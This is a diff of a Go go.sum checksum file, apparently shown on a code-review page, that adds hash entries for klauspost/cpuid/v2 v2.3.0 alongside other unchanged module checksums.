@@ -38,8 +38,10 @@ github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7Bd
|
||||
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA=
|
||||
github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU=
|
||||
github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU=
|
||||
github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
|
||||
Reference in New Issue
Block a user